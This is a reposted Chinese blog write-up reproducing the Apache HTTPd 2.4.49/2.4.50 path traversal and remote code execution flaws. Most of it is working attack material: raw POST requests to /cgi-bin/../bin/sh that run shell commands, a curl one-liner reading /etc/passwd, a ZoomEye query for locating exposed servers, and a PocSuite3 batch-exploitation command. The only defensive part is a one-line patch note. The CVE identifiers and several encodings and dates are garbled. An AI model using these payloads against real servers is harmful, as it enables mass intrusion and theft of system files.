700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > CVE--41773 CVE--4 Apache HTTPd最新RCE漏洞复现 目录穿越漏洞

CVE--41773 CVE--4 Apache HTTPd最新RCE漏洞复现 目录穿越漏洞

时间:2021-11-13 11:30:01

相关推荐

CVE--41773  CVE--4 Apache HTTPd最新RCE漏洞复现  目录穿越漏洞

给个关注?宝儿!

给个关注?宝儿!

给个关注?宝儿!

关注公众号:b1gpig信息安全,文章推送不错过

CVE--41773漏洞描述:

Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。10月8日Apache HTTPd官方发布安全更新,披露了CVE--4 Apache HTTPd 2.4.49/2.4.50 路径穿越漏洞。由于对CVE--41773 Apache HTTPd 2.4.49 路径穿越漏洞的修复不完善,攻击者可构造恶意请求绕过补丁,利用穿越漏洞读取到Web目录之外的其他文件。同时若Apache HTTPd开启了cgi支持,攻击者可构造恶意请求执行命令,控制服务器。

影响版本

Apache HTTPd 2.4.49/2.4.50版本

zoomeye语法

app:“apache web server 2.4.49 2.4.50”

复现过程:

环境搭建:

docker镜像:

/blasty/CVE--41773

搭建效果:

rce复现:

抓包:

poc:

POST /cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh HTTP/1.1Host: your ip : portUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/0101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Sat, 16 Oct 07:06:04 GMTIf-None-Match: "29cd-5ce72f1ed2f00-gzip"Cache-Control: max-age=0Content-Length: 41echo Content-Type: text/plain; echo; ls

POST /cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh HTTP/1.1Host: ip:portCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9If-None-Match: "29cd-5ce4665e39700-gzip"If-Modified-Since: Thu, 14 Oct 01:57:16 GMTConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 12echo; whoami

curl:

curl --data "echo;cat /etc/passwd" 'http://ip:port/cgi-bin/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/%2e%%32%65/bin/sh'

修复:

建议使用Apache HTTPd 2.4.49 与Apache HTTPd 2.4.50 版本的服务器更新Apache HTTPd 版本至最新。

批量利用检测利用工具:

可视化界面工具

Github地址:

/inbug-team/CVE--41773_CVE--4

PocSuite3工具

批量:

python3 .\cli.py -r .\pocs\1008_web_apache-httpd_dir-traversal-rce_cve--41773_cve--4.py -f 1.txt --verify

CVE--4 目录穿越

漏洞成因:

Apache HTTP Server 2.4.50版本对CVE--41773的修复可以避免一次url编码导致的路径穿越,但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。

在处理外部HTTP请求时,会调用 ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码,代码如下:

触发:

ip:port/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd

看完点赞关注不迷路!!! 后续继续更新优质安全内容!!!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。